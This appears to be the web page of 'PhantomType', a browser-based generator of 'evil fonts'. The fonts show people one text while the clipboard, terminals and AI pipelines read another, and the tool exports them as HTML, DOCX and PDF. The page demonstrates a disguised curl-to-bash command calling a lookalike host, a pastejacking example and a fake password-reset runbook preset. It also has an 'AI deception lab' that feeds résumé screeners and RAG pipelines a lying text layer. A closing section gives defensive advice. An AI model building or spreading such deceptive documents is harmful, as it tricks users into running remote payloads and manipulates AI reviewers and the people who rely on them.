// font-based deception toolkit — browser edition

PhantomType

Evil Font Generator & Deception Lab

PhantomType builds evil fonts — fonts whose glyphs deliberately lie. A document set in an evil font shows one text to the human eye, while terminals, AI pipelines and the clipboard read something completely different. Everything runs locally in your browser: type two texts, get working HTML, DOCX and PDF deceptions, watch the lie happen live.

Open the generator ↓ Document injection AI deception lab
loading font engine…
01

How the lie works

1

Same bytes

The underlying text never changes. A file says rm -rf ~/safe in every encoding, on disk, in the DOM, in the clipboard.

2

Swapped glyphs

A remapped font draws the shape of a harmless character at the codepoint of a dangerous one. Rendering is a lookup — we poison the lookup table.

3

Two realities

Humans trust pixels and see a benign command. Machines trust codepoints and read the payload. Copy-paste carries the payload, not the pixels.

👁 human view (rendered glyphs)
curl https://updates.example.com/get.sh | bash
⌨ machine view (actual codepoints)
curl https://upd4tes.3xample.com/g3t.sh | bash

Select and copy the green line above, paste it anywhere — you'll get the red one. That's the whole trick.

02

Evil font generator

Write the cover text (what humans should read) and the payload (what machines should receive). PhantomType aligns them character by character, derives the glyph remapping, and compiles real fonts in your browser. Payload characters with no cover above them get invisible glyphs, and payload spaces wear cover glyphs — so any pair of texts works. No server, nothing leaves the page.

script: presets:
0 chars
0 chars

Glyph remapping

Live deception preview

The green block below is the payload, wearing your generated font. Select it, copy it, paste it into the reveal box — the mask comes off.

👁 what the victim sees & copies

      

        
        
      

    


    

      
      
      

    

  


  

    
Take it with you — pick a delivery format

    

      
      
      
      
    

    
    
      
  • .ttf — full font (identity glyphs + your remaps) for CSS @font-face or manual embedding. Latin only: Arabic/Persian letterforms change shape per position, which one font can't express — use DOCX/PDF/HTML there.
    • 
      
  • .html — self-contained page, fonts embedded as base64. Opens anywhere, deception intact.
    • 
      
  • .docx — fonts embedded & obfuscated (odttf) inside the document, per-character runs. Renders in Word/LibreOffice with no fonts installed.
    • 
      
  • .pdf — two-layer: the visible page is an image of the disguise; an invisible text layer underneath carries the payload, so copy-paste and text extraction read the payload.
    • 
    

  







  

    03
    
HTML attacks: pastejacking

  


  

    The generator above is the evil-font HTML attack — view source on the preview and count how many
    single-glyph fonts it loads. Its ancestor is simpler: JavaScript clipboard tampering.
    No fonts involved — the copy event simply rewrites your clipboard. Copy the command below and
    paste it into the reveal box to watch it mutate. This is why you never paste commands
    straight into a terminal.
  


  

    
👁 copy this harmless command

    
echo "installing updates…" && sudo apt upgrade -y

    

      
      
    

  

  

    
    
  







  

    04
    
Document injection (.docx / .pdf)

  


  

    Web pages are only one delivery surface. A .docx passed around a company — a help-desk runbook,
    an onboarding guide, a "password reset" procedure — is a far better carrier: people trust documents,
    and they copy commands out of them. The generator's .docx export embeds the evil fonts
    directly inside the file (obfuscated odttf parts + per-character runs), so the deception
    survives on a machine with no fonts installed.
  


  

    

      
How the .docx works

      
Every remapped character is its own run with its own embedded font — a font that draws the cover glyph at the payload codepoint. Word renders the lie; the text layer keeps the truth.

    

    

      
How the .pdf works

      
The visible page is a rendered image of the disguise. Under it sits a fully invisible, selectable text layer holding the payload — copy-paste and PDF text extraction read the payload, never the pixels.

    

    

      
Try the runbook scenario

      
Load the help-desk preset — a fake password-reset SOP whose commands differ from what the reader sees — then export it as .docx and open it in Word.

      

    

  







  

    05
    
AI deception lab

  


  

    AI résumé screeners, document summarizers and RAG pipelines all trust the text layer.
    Feed them a document whose text layer lies, and the machine judges a different document than the human does.
    Below: a résumé a recruiter reads as unremarkable, while the simulated AI filter reads a senior red-teamer.
    Edit both sides, watch the verdict flip.
  


  

    

      
      
      

    

    

      
      
      

    

  


  

  

    

      
👁 human view — rendered résumé

      

    

    

      
🤖 AI filter view — text layer extraction

      

      

        

        
0 / 100

        

      

    

  

  


  

    
    
  

  
Defense: render inbound documents to images and OCR them, then diff OCR against the text layer. A mismatch is the deception announcing itself.







  

    06
    
Staying safe

  


  

    

      
For humans

      
    
        
  • Never paste commands straight into a shell — paste into a text editor first and read it again.
    • 
        
  • Never run curl … | bash you didn't type yourself.
    • 
        
  • Verify after pasting, before executing.
    • 
        
  • Don't feed other people's documents to AI tools.
    • 
      

    

    

      
For defenders

      
    
        
  • Treat user-supplied fonts as untrusted input — because they are.
    • 
        
  • A document carrying dozens of single-glyph fonts is a strong signal.
    • 
        
  • Don't render custom fonts in Protected View / sandboxed previews.
    • 
      

    

    

      
For AI pipelines

      
    
        
  • Extract text by rendering to an image + OCR, not by trusting the text layer.
    • 
        
  • Diff the text layer against the OCR output — mismatches mean deception.
    • 
        
  • Remember: the attack only works if a human (or agent) acts on the fake text.
    •